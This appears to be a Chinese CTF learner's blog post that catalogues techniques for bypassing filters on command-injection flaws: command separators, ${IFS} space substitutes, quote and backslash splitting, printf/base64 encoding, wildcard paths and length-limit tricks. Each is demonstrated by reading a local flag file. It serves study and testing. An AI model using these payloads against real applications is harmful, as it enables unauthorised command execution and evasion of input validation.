本文目录
前言
刚做了一道题,是有关命令执行漏洞的,里面过滤的内容比较多,一时间找不到头绪,所以学习一下关于命令执行漏洞的绕过方式,以便以后遇到不会像现在这样一点思路都没有。
总结完再去做就很轻松了。
管道符
windows中常见管道符
| 直接执行后面的语句
|| 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
& 前面和后面命令都要执行,无论前面真假
&& 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
linux中常见管道符
以上四种管道符在linux系统中同样适用,增加一种
; 前面和后面命令都要执行,无论前面真假
zxcv0221@kali:~/桌面$ ping -c 1 m0re;cat flag
ping: m0re: 没有与主机名关联的地址
you are good!
空格过滤
这个比较多了
1.${IFS}
zxcv0221@kali:~/桌面$ cat${IFS}flag
you are good!
$IFS$9
$9指传过来的第9个参数
zxcv0221@kali:~/桌面$ cat$IFS$9flag
you are good!
zxcv0221@kali:~/桌面$ cat$IFS$1flag
you are good!
%09
(需要PHP环境,不演示)<
或者<>
重定向
zxcv0221@kali:~/桌面$ cat<flag
you are good!
zxcv0221@kali:~/桌面$ cat<>flag
you are good!
黑名单绕过
比如:过滤了cat或者flag
- 变量拼接
zxcv0221@kali:~/桌面$ a=c;b=at;c=fl;d=ag;$a$b $c$d
you are good!
- 单引号,双引号绕过
zxcv0221@kali:~/桌面$ ca''t flag
you are good!
zxcv0221@kali:~/桌面$ cat"" flag
you are good!
- 编码绕过
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
栗子:
zxcv0221@kali:~/桌面$ $(printf "\154\163")
firefox-esr.desktop flag
- 读文件绕过(当cat被过滤)
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
栗子:
zxcv0221@kali:~/桌面$ more flag
you are good!
- 反斜线
zxcv0221@kali:~/桌面$ c\at fl\ag
you are good!
$1、$2等和$@
zxcv0221@kali:~/桌面$ c$1at fl$@ag
you are good!
通配符绕过
?
代表一个字符*
代表一串字符
zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?''
you are good!
zxcv0221@kali:~/桌面$ /???/?[a][t] ?''?''?''?''
you are good!
zxcv0221@kali:~/桌面$ /???/?at flag
you are good!
zxcv0221@kali:~/桌面$ /???/?at ????
you are good!
zxcv0221@kali:~/桌面$ /???/?[a]''[t] ?''?''?''?''
you are good!
我服了,这都可以?长见识666????*
下众生平等????
内敛执行绕过
`命令`和$(命令)都是执行命令的方式
栗子:
zxcv0221@kali:~/桌面$ echo "m0re`cat flag`"
m0reyou are good!
zxcv0221@kali:~/桌面$ echo "m0re $(cat flag)"
m0re you are good!
zxcv0221@kali:~/桌面$ echo "m0re $(pwd)"
m0re /home/zxcv0221/桌面
编码绕过
使用base64编码进行绕过
zxcv0221@kali:~/桌面$ `echo "Y2F0IGZsYWc="|base64 -d`
you are good!
绕过长度限制
>
和>>
两个符号的使用
使用>
命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入>>
符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
命令换行
换行执行命令
zxcv0221@kali:~/桌面$ ca\
> t\
> fl\
> ag
you are good!
可以尝试写一个文件来执行命令
zxcv0221@kali:~/桌面$ echo "ca\\">shell
zxcv0221@kali:~/桌面$ echo "t\\">>shell
zxcv0221@kali:~/桌面$ echo " fl\\">>shell
zxcv0221@kali:~/桌面$ echo "ag">>shell
zxcv0221@kali:~/桌面$ cat shell
ca\
t\
fl\
ag
zxcv0221@kali:~/桌面$ sh shell
you are good!
最后
还有一种是使用kali中的一个工具,名字叫metasploit
学会使用,需要实践利用,这里就不演示了,就像我之前写的提权的那篇文章就用到了metasploit,这个确实是一个非常强大的工具。我已经爱上这个工具了。
目前这些应该就够我现阶段用的了。
参考文章
命令执行漏洞利用及绕过方式总结
命令执行漏洞,绕过过滤姿势